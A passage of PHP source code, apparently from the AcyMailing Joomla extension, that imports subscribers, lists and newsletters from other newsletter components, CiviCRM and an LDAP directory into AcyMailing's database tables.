			$listClass = acymailing_get('class.list');
			$campaignClass = acymailing_get('helper.campaign');
			$listCampaign = $listClass->getCampaigns(array_keys($lists));
			foreach($lists as $listid => $val){
				if($val == 2 && !empty($listCampaign[$listid])){
					$query = 'SELECT sub.subid FROM #__acymailing_subscriber sub LEFT JOIN #__acymailing_listsub list ON sub.subid=list.subid AND list.listid='.intval($listid).' WHERE list.subid IS NULL AND sub.userid > 0 ';
					$listSubidNotInList = acymailing_loadResultArray($query);
					if(empty($listSubidNotInList)) continue;
					foreach($listCampaign[$listid] as $campaignId){
						$campaignClass->autoSubCampaign($listSubidNotInList, $campaignId);
					}
				}
			}
		}

		$query = 'INSERT IGNORE INTO '.acymailing_table('listsub').' (`listid`,`subid`,`subdate`,`status`) ';
		$query .= 'SELECT a.`listid`, b.`subid` ,'.$time.',1 FROM '.acymailing_table('list').' as a, '.acymailing_table('subscriber').' as b  WHERE a.`listid` IN ('.implode(',', $listsSubscribe).') AND b.`userid` > 0';
		$nbsubscribed = acymailing_query($query);
		acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_SUBSCRIPTION', $nbsubscribed));

		return true;
	}

	function acajoom(){
		$query = 'INSERT IGNORE INTO '.acymailing_table('subscriber').' (email,name,confirmed,created,enabled,accept,html) SELECT email,name,confirmed,UNIX_TIMESTAMP(`subscribe_date`),1-blacklist,1,receive_html FROM '.acymailing_table('acajoom_subscribers', false);
		$insertedUsers = acymailing_query($query);

		acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_NEW', $insertedUsers));

		if(acymailing_getVar('int', 'acajoom_lists', 0) == 1) $this->_importAcajoomLists();

		$query = 'SELECT b.subid FROM '.acymailing_table('acajoom_subscribers', false).' as a JOIN '.acymailing_table('subscriber').' as b on a.email = b.email';
		$this->allSubid = acymailing_loadResultArray($query);
		$this->_subscribeUsers();
		$this->_displaySubscribedResult();

		return true;
	}

	function _importYancLists(){
		$query = 'SELECT `id`, `name`, `description`, `state` as `published` FROM `#__yanc_letters`';
		$yancLists = acymailing_loadObjectList($query, 'id');

		$query = 'SELECT `listid`, `alias` FROM '.acymailing_table('list').' WHERE `alias` IN (\'yanclist'.implode('\',\'yanclist', array_keys($yancLists)).'\')';
		$joomLists = acymailing_loadObjectList($query, 'alias');

		$listClass = acymailing_get('class.list');
		$time = time();

		foreach($yancLists as $oneList){
			$oneList->alias = 'yanclist'.$oneList->id;
			$oneList->userid = acymailing_currentUserId();

			$yancListId = $oneList->id;
			if(isset($joomLists[$oneList->alias])){
				$joomListId = $joomLists[$oneList->alias]->listid;
			}else{
				unset($oneList->id);
				$joomListId = $listClass->save($oneList);
				acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_LIST', '<b><i>'.$oneList->name.'</i></b>'));
			}

			$querySelect = 'SELECT DISTINCT c.subid,'.$joomListId.','.$time.',1 FROM `#__yanc_subscribers` as a ';
			$querySelect .= 'JOIN '.acymailing_table('subscriber').' as c on a.email = c.email ';
			$querySelect .= 'WHERE a.lid = '.$yancListId.' AND a.state = 1 AND c.subid > 0';
			$queryInsert = 'INSERT IGNORE INTO '.acymailing_table('listsub').' (subid,listid,subdate,status) ';

			$affected = acymailing_query($queryInsert.$querySelect);

			acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_SUBSCRIBE_CONFIRMATION', $affected, '<b><i>'.$oneList->name.'</i></b>'));
		}

		return true;
	}

	private function _importccNewsletterNews(){
		$replacements = array();
		$replacements['[unsubscribe link]'] = '{unsubscribe}'.acymailing_translation('UNSUBSCRIBE').'{/unsubscribe}';
		$replacements['[view online link]'] = '{readonline}'.acymailing_translation('VIEW_ONLINE').'{/readonline}';
		$replacements['[sitename]'] = '{config:sitename}';
		$replacements['[name]'] = '{subtag:name}';

		$fields = array();
		$fields['groupid'] = '`groupid`';

		$fields['subject'] = '`name`';
		$fields['body'] = '`body`';
		$fields['published'] = '`enabled`';
		$fields['senddate'] = 'UNIX_TIMESTAMP(`lastsentdate`)';
		$fields['type'] = '"news"';
		$fields['visible'] = '1';
		$fields['html'] = '1';


		$query = 'SELECT ';
		foreach($fields as $as => $select){
			$query .= $select.' as '.$as.',';
		}
		$query = rtrim($query, ',');
		$query .= ' FROM #__ccnewsletter_newsletters WHERE `enabled` >= 0';
		$ccNewsletters = acymailing_loadObjectList($query);

		if(empty($ccNewsletters)) return true;

		$mailClass = acymailing_get('class.mail');
		$lists = array();
		foreach($ccNewsletters as $oneNewsletter){
			$ccList = $oneNewsletter->groupid;
			unset($oneNewsletter->groupid);

			$oneNewsletter->subject = str_replace(array_keys($replacements), $replacements, $oneNewsletter->subject);
			$oneNewsletter->body = str_replace(array_keys($replacements), $replacements, $oneNewsletter->body);
			$acyId = $mailClass->save($oneNewsletter);
			$lists[$acyId] = 'ccnewsletterlist'.$ccList;
		}

		acymailing_enqueueMessage(acymailing_translation_sprintf('NB_IMPORT_NEWSLETTER', '<b>'.count($lists).'</b>'));

		$query = 'SELECT listid, alias FROM #__acymailing_list WHERE alias LIKE "ccnewsletterlist%"';
		$acylists = acymailing_loadObjectList($query, 'alias');

		$equ = array();
		foreach($lists as $mailid => $cclist){
			if(empty($acylists[$cclist])) continue;
			$equ[] = $mailid.','.$acylists[$cclist]->listid;
		}

		if(empty($equ)) return true;
		$query = 'INSERT IGNORE INTO #__acymailing_listmail (`mailid`, `listid`) VALUES ('.implode('),(', $equ).')';
		acymailing_query($query);

		return true;
	}

	private function _importccNewsletterLists(){
		$query = 'SELECT `id`, `group_name` as `name`, `public` as `visible`, `enabled` as `published` FROM '.acymailing_table('ccnewsletter_groups', false).' ORDER BY `ordering` ASC';
		$compLists = acymailing_loadObjectList($query, 'id');

		$query = 'SELECT `listid`, `alias` FROM '.acymailing_table('list').' WHERE `alias` IN (\'ccnewsletterlist'.implode('\',\'ccnewsletterlist', array_keys($compLists)).'\')';
		$joomLists = acymailing_loadObjectList($query, 'alias');

		$listClass = acymailing_get('class.list');

		foreach($compLists as $oneList){
			$oneList->alias = 'ccnewsletterlist'.$oneList->id;
			$compListId = $oneList->id;
			if(isset($joomLists[$oneList->alias])){
				$joomListId = $joomLists[$oneList->alias]->listid;
			}else{
				unset($oneList->id);
				$joomListId = $listClass->save($oneList);
				acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_LIST', '<b><i>'.$oneList->name.'</i></b>'));
			}

			$querySelect = 'SELECT DISTINCT c.subid,'.$joomListId.',UNIX_TIMESTAMP(b.`sdate`),1 FROM '.acymailing_table('ccnewsletter_g_to_s', false).' as a ';
			$querySelect .= 'JOIN '.acymailing_table('ccnewsletter_subscribers', false).' as b on a.subscriber_id = b.id ';
			$querySelect .= 'JOIN '.acymailing_table('subscriber').' as c on b.email = c.email ';
			$querySelect .= 'WHERE a.group_id = '.$compListId.' AND c.subid > 0';
			$queryInsert = 'INSERT IGNORE INTO '.acymailing_table('listsub').' (subid,listid,subdate,status) ';

			$affected = acymailing_query($queryInsert.$querySelect);

			acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_SUBSCRIBE_CONFIRMATION', $affected, '<b><i>'.$oneList->name.'</i></b>'));
		}

		return true;
	}

	private function _importjnewsNews(){
		$replacements = array();
		$replacements['#{tag:unsubscribe}#i'] = '{unsubscribe}'.acymailing_translation('UNSUBSCRIBE').'{/unsubscribe}';
		$replacements['#{tag:subscriptions}#i'] = '{modify}'.acymailing_translation('MODIFY_SUBSCRIPTION').'{/modify}';
		$replacements['#{tag:viewonline[^}]*}#i'] = '{readonline}'.acymailing_translation('VIEW_ONLINE').'{/readonline}';
		$replacements['#{tag:confirm}#i'] = '{confirm}'.acymailing_translation('CONFIRM_SUBSCRIPTION').'{/confirm}';
		$replacements['#{tag:firstname}#i'] = '{subtag:name|part:first}';
		$replacements['#{tag:name}#i'] = '{subtag:name}';
		$replacements['#{tag:email}#i'] = '{subtag:email}';
		$replacements['#{tag:title}#i'] = '{mail:subject}';
		$replacements['#{tag:issuenb}#i'] = '{mail:mailid}';

		$fields = array();
		$fields['id'] = '`id`';
		$fields['subject'] = '`subject`';
		$fields['body'] = '`htmlcontent`';
		$fields['altbody'] = '`textonly`';
		$fields['published'] = '`published`';
		$fields['senddate'] = '`send_date`';
		$fields['created'] = '`createdate`';
		$fields['userid'] = '`author_id`';
		$fields['type'] = '"news"';
		$fields['visible'] = '`visible`';
		$fields['html'] = '`html`';

		$query = 'SELECT ';
		foreach($fields as $as => $select){
			$query .= $select.' as '.$as.',';
		}
		$query = rtrim($query, ',');
		$query .= ' FROM #__jnews_mailings WHERE `mailing_type` = 1';
		$jnewsNewsletters = acymailing_loadObjectList($query);

		if(empty($jnewsNewsletters)) return true;

		$mailClass = acymailing_get('class.mail');
		$mailids = array();
		foreach($jnewsNewsletters as $oneNewsletter){
			$jnewsid = $oneNewsletter->id;
			unset($oneNewsletter->id);

			$oneNewsletter->published = min($oneNewsletter->published, 1);
			$oneNewsletter->subject = preg_replace(array_keys($replacements), $replacements, $oneNewsletter->subject);
			$oneNewsletter->body = preg_replace(array_keys($replacements), $replacements, $oneNewsletter->body);
			$mailids[$jnewsid] = $mailClass->save($oneNewsletter);
		}

		acymailing_enqueueMessage(acymailing_translation_sprintf('NB_IMPORT_NEWSLETTER', '<b>'.count($mailids).'</b>'));

		$query = 'SELECT listid, alias FROM #__acymailing_list WHERE alias LIKE "jnewslist%"';
		$acylists = acymailing_loadObjectList($query, 'alias');

		$query = 'SELECT list_id,mailing_id FROM #__jnews_listmailings WHERE mailing_id IN ('.implode(',', array_keys($mailids)).')';
		$jnewslistmailings = acymailing_loadObjectList($query);

		$equ = array();
		foreach($jnewslistmailings as $jnewsids){
			if(empty($acylists['jnewslist'.$jnewsids->list_id])) continue;
			if(empty($mailids[$jnewsids->mailing_id])) continue;
			$equ[] = $mailids[$jnewsids->mailing_id].','.$acylists['jnewslist'.$jnewsids->list_id]->listid;
		}

		if(empty($equ)) return true;
		$query = 'INSERT IGNORE INTO #__acymailing_listmail (`mailid`, `listid`) VALUES ('.implode('),(', $equ).')';
		acymailing_query($query);

		return true;
	}

	private function _importjnewsLists(){
		$query = 'SELECT `id`, `list_name` as `name`, `hidden` as `visible`, `list_desc` as `description`, `published`, `owner` as `userid` FROM '.acymailing_table('jnews_lists', false);
		$jnewsLists = acymailing_loadObjectList($query, 'id');

		$query = 'SELECT `listid`, `alias` FROM '.acymailing_table('list').' WHERE `alias` IN (\'jnewslist'.implode('\',\'jnewslist', array_keys($jnewsLists)).'\')';
		$joomLists = acymailing_loadObjectList($query, 'alias');

		$listClass = acymailing_get('class.list');

		foreach($jnewsLists as $oneList){
			$oneList->alias = 'jnewslist'.$oneList->id;
			$jnewsListId = $oneList->id;
			if(isset($joomLists[$oneList->alias])){
				$joomListId = $joomLists[$oneList->alias]->listid;
			}else{
				unset($oneList->id);
				$joomListId = $listClass->save($oneList);
				acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_LIST', '<b><i>'.$oneList->name.'</i></b>'));
			}

			$querySelect = 'SELECT DISTINCT c.subid,'.$joomListId.',a.subdate,a.unsubdate,1-(2*a.unsubscribe) FROM '.acymailing_table('jnews_listssubscribers', false).' as a ';
			$querySelect .= 'JOIN '.acymailing_table('jnews_subscribers', false).' as b on a.subscriber_id = b.id ';
			$querySelect .= 'JOIN '.acymailing_table('subscriber').' as c on b.email = c.email ';
			$querySelect .= 'WHERE a.list_id = '.$jnewsListId.' AND c.subid > 0';
			$queryInsert = 'INSERT IGNORE INTO '.acymailing_table('listsub').' (subid,listid,subdate,unsubdate,status) ';

			$affected = acymailing_query($queryInsert.$querySelect);

			acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_SUBSCRIBE_CONFIRMATION', $affected, '<b><i>'.$oneList->name.'</i></b>'));
		}

		return true;
	}

	private function _importAcajoomLists(){
		$query = 'SELECT `id`, `list_name` as `name`, `hidden` as `visible`, `list_desc` as `description`, `published`, `owner` as `userid` FROM '.acymailing_table('acajoom_lists', false);
		$acaLists = acymailing_loadObjectList($query, 'id');

		$query = 'SELECT `listid`, `alias` FROM '.acymailing_table('list').' WHERE `alias` IN (\'acajoomlist'.implode('\',\'acajoomlist', array_keys($acaLists)).'\')';
		$joomLists = acymailing_loadObjectList($query, 'alias');

		$listClass = acymailing_get('class.list');
		$time = time();

		foreach($acaLists as $oneList){
			$oneList->alias = 'acajoomlist'.$oneList->id;
			$acaListId = $oneList->id;
			if(isset($joomLists[$oneList->alias])){
				$joomListId = $joomLists[$oneList->alias]->listid;
			}else{
				unset($oneList->id);
				$joomListId = $listClass->save($oneList);
				acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_LIST', '<b><i>'.$oneList->name.'</i></b>'));
			}

			$querySelect = 'SELECT DISTINCT c.subid,'.$joomListId.','.$time.',1 FROM '.acymailing_table('acajoom_queue', false).' as a ';
			$querySelect .= 'JOIN '.acymailing_table('acajoom_subscribers', false).' as b on a.subscriber_id = b.id ';
			$querySelect .= 'JOIN '.acymailing_table('subscriber').' as c on b.email = c.email ';
			$querySelect .= 'WHERE a.list_id = '.$acaListId.' AND c.subid > 0';
			$queryInsert = 'INSERT IGNORE INTO '.acymailing_table('listsub').' (subid,listid,subdate,status) ';

			$affected = acymailing_query($queryInsert.$querySelect);

			acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_SUBSCRIBE_CONFIRMATION', $affected, '<b><i>'.$oneList->name.'</i></b>'));
		}

		return true;
	}

	function letterman(){
		$time = time();
		$query = 'INSERT IGNORE INTO '.acymailing_table('subscriber').' (`email`,`name`,`confirmed`,`created`,`enabled`,`accept`,`html`) SELECT `subscriber_email`,`subscriber_name`,`confirmed`,UNIX_TIMESTAMP(`subscribe_date`),1,1,1 FROM '.acymailing_table('letterman_subscribers', false);
		$insertedUsers = acymailing_query($query);

		if($insertedUsers == -1){
			$query = 'INSERT IGNORE INTO '.acymailing_table('subscriber').' (`email`,`name`,`confirmed`,`created`,`enabled`,`accept`,`html`) SELECT `email`,`name`,`confirmed`,'.$time.',1,1,1 FROM '.acymailing_table('letterman_subscribers', false);
			$insertedUsers = acymailing_query($query);
			$query = 'SELECT b.subid FROM '.acymailing_table('letterman_subscribers', false).' as a JOIN '.acymailing_table('subscriber').' as b on a.email = b.email';
		}else{
			$query = 'SELECT b.subid FROM '.acymailing_table('letterman_subscribers', false).' as a JOIN '.acymailing_table('subscriber').' as b on a.subscriber_email = b.email';
		}

		acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_NEW', $insertedUsers));

		$this->allSubid = acymailing_loadResultArray($query);
		$this->_subscribeUsers();
		$this->_displaySubscribedResult();

		return true;
	}

	function yanc(){
		$oneSubscriber = acymailing_loadObject('SELECT * FROM #__yanc_subscribers LIMIT 1');
		if(!isset($oneSubscriber->state)){
			acymailing_query("ALTER IGNORE TABLE `#__yanc_subscribers` ADD `state` INT NOT NULL DEFAULT '1'");
		}

		$query = 'INSERT IGNORE INTO '.acymailing_table('subscriber').' (`email`,`name`,`confirmed`,`created`,`enabled`,`accept`,`html`, `ip`) SELECT `email`,`name`,`confirmed`,UNIX_TIMESTAMP(`date`),`state`,1,`html`,`ip` FROM '.acymailing_table('yanc_subscribers', false)." WHERE email LIKE '%@%'";
		$insertedUsers = acymailing_query($query);

		acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_NEW', $insertedUsers));

		if(acymailing_getVar('int', 'yanc_lists', 0) == 1) $this->_importYancLists();

		$query = 'SELECT b.subid FROM '.acymailing_table('yanc_subscribers', false).' as a JOIN '.acymailing_table('subscriber').' as b on a.email = b.email';
		$this->allSubid = acymailing_loadResultArray($query);
		$this->_subscribeUsers();
		$this->_displaySubscribedResult();

		return true;
	}


	function vemod(){
		$time = time();
		$query = "INSERT IGNORE INTO ".acymailing_table('subscriber')." (`email`,`name`,`confirmed`,`created`,`enabled`,`accept`,`html`) SELECT `email`,`name`,1,'.$time.',1,1,`mailformat` FROM `#__vemod_news_mailer_users` WHERE `email` LIKE '%@%' ";
		$insertedUsers = acymailing_query($query);

		acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_NEW', $insertedUsers));

		$query = 'SELECT b.subid FROM `#__vemod_news_mailer_users` as a JOIN '.acymailing_table('subscriber').' as b on a.email = b.email';
		$this->allSubid = acymailing_loadResultArray($query);
		$this->_subscribeUsers();
		$this->_displaySubscribedResult();

		return true;
	}

	function contact(){
		$time = time();
		$query = 'INSERT IGNORE INTO '.acymailing_table('subscriber')." (`email`,`name`,`confirmed`,`created`,`enabled`,`accept`,`html`) SELECT `email_to`,`name`,1,'.$time.',1,1,1 FROM `#__contact_details` WHERE email_to LIKE '%@%'";
		$insertedUsers = acymailing_query($query);

		acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_NEW', $insertedUsers));

		$query = 'SELECT b.subid FROM `#__contact_details` as a JOIN '.acymailing_table('subscriber').' as b on a.email_to = b.email';
		$this->allSubid = acymailing_loadResultArray($query);
		$this->_subscribeUsers();
		$this->_displaySubscribedResult();

		return true;
	}

	function ccnewsletter(){
		$ccfields = acymailing_getColumns('#__ccnewsletter_subscribers');

		$fields = array();
		$fields['email'] = '`email`';
		$fields['name'] = '`name`';
		$fields['confirmed'] = '`enabled`';
		$fields['created'] = 'UNIX_TIMESTAMP(`sdate`)';
		$fields['enabled'] = '`enabled`';
		$fields['accept'] = 1;
		$fields['html'] = isset($ccfields['plainText']) ? '1-`plainText`' : 1;

		$query = 'INSERT IGNORE INTO '.acymailing_table('subscriber').' (`'.implode('`,`', array_keys($fields)).'`) SELECT '.implode(',', $fields).' FROM '.acymailing_table('ccnewsletter_subscribers', false);
		$insertedUsers = acymailing_query($query);

		acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_NEW', $insertedUsers));

		if(acymailing_getVar('int', 'ccNewsletter_lists', 0) == 1) $this->_importccNewsletterLists();
		if(acymailing_getVar('int', 'ccNewsletter_news', 0) == 1) $this->_importccNewsletterNews();


		$query = 'SELECT b.subid FROM '.acymailing_table('ccnewsletter_subscribers', false).' as a JOIN '.acymailing_table('subscriber').' as b on a.email = b.email WHERE b.subid > 0';
		$this->allSubid = acymailing_loadResultArray($query);
		$this->_subscribeUsers();
		$this->_displaySubscribedResult();

		return true;
	}

	function jnews(){
		$query = 'INSERT IGNORE INTO '.acymailing_table('subscriber').' (`email`,`name`,`confirmed`,`created`,`enabled`,`accept`,`html`) SELECT `email`,`name`,`confirmed`,`subscribe_date`, 1-`blacklist`,1,`receive_html` FROM '.acymailing_table('jnews_subscribers', false);
		$insertedUsers = acymailing_query($query);

		acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_NEW', $insertedUsers));

		if(acymailing_getVar('int', 'jnews_lists', 0) == 1) $this->_importjnewsLists();
		if(acymailing_getVar('int', 'jnews_news', 0) == 1) $this->_importjnewsNews();

		$query = 'SELECT b.subid FROM '.acymailing_table('jnews_subscribers', false).' as a JOIN '.acymailing_table('subscriber').' as b on a.email = b.email';
		$this->allSubid = acymailing_loadResultArray($query);
		$this->_subscribeUsers();
		$this->_displaySubscribedResult();

		return true;
	}

	function nspro(){
		$time = time();
		$query = 'INSERT IGNORE INTO '.acymailing_table('subscriber').' (`email`,`name`,`confirmed`,`created`,`enabled`,`accept`,`html`) SELECT `email`,`name`,`confirmed`,UNIX_TIMESTAMP(`datetime`), 1,1,1 FROM '.acymailing_table('nspro_subs', false);
		$insertedUsers = acymailing_query($query);

		acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_NEW', $insertedUsers));

		if(acymailing_getVar('int', 'nspro_lists', 0) == 1) $this->_importnsproLists();

		$query = 'SELECT b.subid FROM '.acymailing_table('nspro_subs', false).' as a JOIN '.acymailing_table('subscriber').' as b on a.email = b.email';
		$this->allSubid = acymailing_loadResultArray($query);
		$this->_subscribeUsers();
		$this->_displaySubscribedResult();

		return true;
	}

	private function _importnsproLists(){

		$query = 'SELECT `id`, `lname` as `name`, 1 as `visible`, `notes` as `description`, `published`, '.intval(acymailing_currentUserId()).' as `userid` FROM '.acymailing_table('nspro_lists', false);
		$nsprolists = acymailing_loadObjectList($query, 'id');

		$query = 'SELECT `listid`, `alias` FROM '.acymailing_table('list').' WHERE `alias` IN (\'nsprolist'.implode('\',\'nsprolist', array_keys($nsprolists)).'\')';
		$joomLists = acymailing_loadObjectList($query, 'alias');

		$listClass = acymailing_get('class.list');

		foreach($nsprolists as $oneList){
			$oneList->alias = 'nsprolist'.$oneList->id;
			$nsproListId = $oneList->id;
			if(isset($joomLists[$oneList->alias])){
				$joomListId = $joomLists[$oneList->alias]->listid;
			}else{
				unset($oneList->id);
				$joomListId = $listClass->save($oneList);
				acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_LIST', '<b><i>'.$oneList->name.'</i></b>'));
			}

			$querySelect = 'SELECT DISTINCT c.subid,'.$joomListId.',c.created,1 FROM '.acymailing_table('nspro_subs', false).' as a ';
			$querySelect .= 'JOIN '.acymailing_table('subscriber').' as c on a.email = c.email ';
			$querySelect .= 'WHERE a.mailing_lists LIKE "'.$nsproListId.'" OR a.mailing_lists LIKE "%,'.$nsproListId.',%" OR a.mailing_lists LIKE "'.$nsproListId.',%"  OR a.mailing_lists LIKE "%,'.$nsproListId.'"';
			$queryInsert = 'INSERT IGNORE INTO '.acymailing_table('listsub').' (subid,listid,subdate,status) ';

			$affected = acymailing_query($queryInsert.$querySelect);

			acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_SUBSCRIBE_CONFIRMATION', $affected, '<b><i>'.$oneList->name.'</i></b>'));
		}

		return true;
	}

	function communicator(){
		$time = time();
		$query = 'INSERT IGNORE INTO '.acymailing_table('subscriber').' (`email`,`name`,`confirmed`,`created`,`enabled`,`accept`,`html`) SELECT `subscriber_email`,`subscriber_name`,`confirmed`,'.$time.',1,1,1 FROM '.acymailing_table('communicator_subscribers', false);
		$insertedUsers = acymailing_query($query);

		acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_NEW', $insertedUsers));

		$query = 'SELECT b.subid FROM '.acymailing_table('communicator_subscribers', false).' as a JOIN '.acymailing_table('subscriber').' as b on a.subscriber_email = b.email';
		$this->allSubid = acymailing_loadResultArray($query);
		$this->_subscribeUsers();
		$this->_displaySubscribedResult();

		return true;
	}

	function civi_import(){
		$this->setciviprefix();
		$query = 'INSERT IGNORE INTO '.acymailing_table('subscriber').' (`email`,`name`,`confirmed`,`created`,`enabled`,`accept`,`html`) ';
		$query .= 'SELECT CONVERT(civiemail.email USING utf8),CONVERT(civicontact.`first_name` USING utf8),1,'.time().', 1-`do_not_email`,1 - civicontact.is_opt_out,1 ';
		$query .= 'FROM '.$this->civiprefix.'email as civiemail JOIN '.$this->civiprefix.'contact as civicontact ON civicontact.id = civiemail.contact_id ';
		$query .= 'WHERE civicontact.is_deleted = 0 AND civiemail.is_primary = 1 AND civiemail.email LIKE \'%@%\'';

		return acymailing_query($query);
	}

	function setciviprefix(){
		if(!empty($this->civiprefix)) return;
		$this->civiprefix = 'civicrm_';
		$civifile = ACYMAILING_ROOT.'administrator'.DS.'components'.DS.'com_civicrm'.DS.'civicrm.settings.php';
		if(!defined('CIVICRM_DSN') && file_exists($civifile)) include_once($civifile);
		if(defined('CIVICRM_DSN')){
			$infos = parse_url(CIVICRM_DSN);
			$db = trim($infos['path'], '/');
			if(!empty($db)) $this->civiprefix = '`'.$db.'`.civicrm_';
		}
	}

	function civi(){
		$this->setciviprefix();

		$insertedUsers = $this->civi_import();
		acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_NEW', $insertedUsers));

		$query = 'SELECT b.subid FROM '.$this->civiprefix.'email as a JOIN '.acymailing_table('subscriber').' as b on CONVERT(a.email USING utf8) = b.email';
		$this->allSubid = acymailing_loadResultArray($query);
		$this->_subscribeUsers();
		$this->_displaySubscribedResult();
	}

	function ldap(){
		$config = acymailing_config();

		acymailing_query("DELETE FROM #__acymailing_config WHERE namekey LIKE 'ldapfield_%'");

		if(!$this->ldap_init()) return false;

		$ldapfields = acymailing_getVar('none', 'ldapfield');
		if(empty($ldapfields)){
			acymailing_enqueueMessage(acymailing_translation('SPECIFYFIELDEMAIL'), 'notice');
			return false;
		}

		$newConfig = new stdClass();

		$this->dispresults = false;
		$newConfig->ldap_import_confirm = $this->forceconfirm = acymailing_getVar('int', 'ldap_import_confirm');
		$newConfig->ldap_generatename = $this->generatename = acymailing_getVar('int', 'ldap_generatename');
		$newConfig->ldap_overwriteexisting = $this->overwrite = acymailing_getVar('int', 'ldap_overwriteexisting');
		$newConfig->ldap_deletenotexists = $this->ldap_deletenotexists = acymailing_getVar('int', 'ldap_deletenotexists');
		if($this->ldap_deletenotexists){
			$subfields = array_keys(acymailing_getColumns('#__acymailing_subscriber'));
			if(!in_array('ldapentry', $subfields)){
				acymailing_query("ALTER TABLE #__acymailing_subscriber ADD COLUMN ldapentry TINYINT UNSIGNED DEFAULT 0");
			}else{
				acymailing_query("UPDATE #__acymailing_subscriber SET ldapentry = 0");
			}

			$this->overwrite = 1;
		}
		$newConfig->ldap_subfield = $this->ldap_subfield = acymailing_getVar('string', 'ldap_subfield');
		if(!empty($this->ldap_subfield)){
			$allValues = acymailing_getVar('none', 'ldap_subcond');
			$allLists = acymailing_getVar('none', 'ldap_sublists');
			$this->ldap_subscribe = array();
			foreach($allValues as $i => $oneValue){
				$oneValue = strtolower(trim($oneValue));
				if(strlen($oneValue) < 1) continue;
				if(isset($this->ldap_subscribe[$oneValue])){
					$this->ldap_subscribe[$oneValue] .= '-'.intval($allLists[$i]);
				}else{
					$this->ldap_subscribe[$oneValue] = intval($allLists[$i]);
				}
				$valcond = 'ldap_subcond_'.$i;
				$vallist = 'ldap_sublists_'.$i;
				$newConfig->$valcond = $allValues[$i];
				$newConfig->$vallist = $allLists[$i];
			}

			acymailing_query("DELETE FROM #__acymailing_config WHERE namekey LIKE 'ldap_subcond%' OR namekey LIKE 'ldap_sublists%'");
		}

		$this->ldap_equivalent = array();
		$this->ldap_selectedFields = array();
		foreach($ldapfields as $oneField => $acyField){
			if(empty($acyField)) continue;
			$configname = 'ldapfield_'.strtolower($oneField);
			$newConfig->$configname = $acyField;
			$this->ldap_equivalent[$acyField] = $oneField;
			$this->ldap_selectedFields[] = $oneField;
		}

		if(!empty($this->ldap_subfield) AND !in_array($this->ldap_subfield, $this->ldap_selectedFields)){
			$this->ldap_selectedFields[] = $this->ldap_subfield;
		}

		$config->save($newConfig);

		if(empty($this->ldap_equivalent['email'])){
			acymailing_enqueueMessage(acymailing_translation('SPECIFYFIELDEMAIL'), 'notice');
			return false;
		}

		$startChars = 'abcdefghijklmnopqrstuvwxyz0123456789_-+&.';

		$nbChars = strlen($startChars);
		$result = true;
		for($i = 0; $i < $nbChars; $i++){
			if(!$this->ldap_import($this->ldap_equivalent['email'].'='.$startChars[$i].'*@*')) $result = false;
		}

		acymailing_enqueueMessage(acymailing_translation_sprintf('ACY_IMPORT_REPORT', $this->totalTry, $this->totalInserted, $this->totalTry - $this->totalValid, $this->totalValid - $this->totalInserted));

		if($this->ldap_deletenotexists){
			$allSubids = acymailing_loadResultArray("SELECT subid FROM #__acymailing_subscriber WHERE ldapentry = 0");
			$subscriberClass = acymailing_get('class.subscriber');
			$nbAffected = $subscriberClass->delete($allSubids);
			acymailing_enqueueMessage(acymailing_translation_sprintf('IMPORT_DELETE', $nbAffected));
			acymailing_query("ALTER TABLE #__acymailing_subscriber DROP COLUMN ldapentry");
		}

		$this->_displaySubscribedResult();

		return $result;
	}

	function ldap_import($search){
		$searchResult = ldap_search($this->ldap_conn, $this->ldap_basedn, $search, $this->ldap_selectedFields);
		if(!$searchResult){
			acymailing_display('Could not search for elements<br />'.ldap_error($this->ldap_conn), 'warning');
			return false;
		}
		$entries = ldap_get_entries($this->ldap_conn, $searchResult);

		if(empty($entries) || empty($entries['count'])) return true;

		$content = '"'.implode('","', array_keys($this->ldap_equivalent)).'"';
		if($this->ldap_deletenotexists) $content .= ',"ldapentry"';
		if(!empty($this->ldap_subfield)) $content .= ',"listids"';
		$content .= "\n";
		for($i = 0; $i < $entries['count']; $i++){
			foreach($this->ldap_equivalent as $ldapField){
				$fieldVal = isset($entries[$i][$ldapField][0]) ? $entries[$i][$ldapField][0] : '';
				$content .= '"'.$fieldVal.'",';
			}
			if($this->ldap_deletenotexists) $content .= '"1",';
			if(!empty($this->ldap_subfield)){
				static $errorsLists = array();
				if(isset($entries[$i][$this->ldap_subfield][0])){
					$condvalue = strtolower(trim($entries[$i][$this->ldap_subfield][0]));
					if(isset($this->ldap_subscribe[$condvalue])){
						$content .= $this->ldap_subscribe[$condvalue].',';
					}else{
						if(!isset($errorsLists[$condvalue]) AND count($errorsLists) < 5){
							$errorsLists[$condvalue] = true;
							acymailing_enqueueMessage('Could not find a list for the value "'.$condvalue.'" of the field '.$this->ldap_subfield, 'notice');
						}
						$content .= '"",';
					}
				}else{
					$content .= '"",';
				}
			}
			$content = rtrim($content, ',');
			$content .= "\n";
		}
		return $this->_handleContent($content);
	}


	function ldap_init(){
		$config = acymailing_config();
		$newConfig = new stdClass();
		$newConfig->ldap_host = trim(acymailing_getVar('string', 'ldap_host'));
		$newConfig->ldap_port = acymailing_getVar('int', 'ldap_port');
		if(empty($newConfig->ldap_port)) $newConfig->ldap_port = 389;
		$newConfig->ldap_basedn = trim(acymailing_getVar('string', 'ldap_basedn'));
		$this->ldap_basedn = $newConfig->ldap_basedn;
		$newConfig->ldap_username = trim(acymailing_getVar('string', 'ldap_username'));
		$newConfig->ldap_password = trim(acymailing_getVar('string', 'ldap_password'));

		$config->save($newConfig);

		if(empty($newConfig->ldap_host)) return false;

		acymailing_displayErrors();
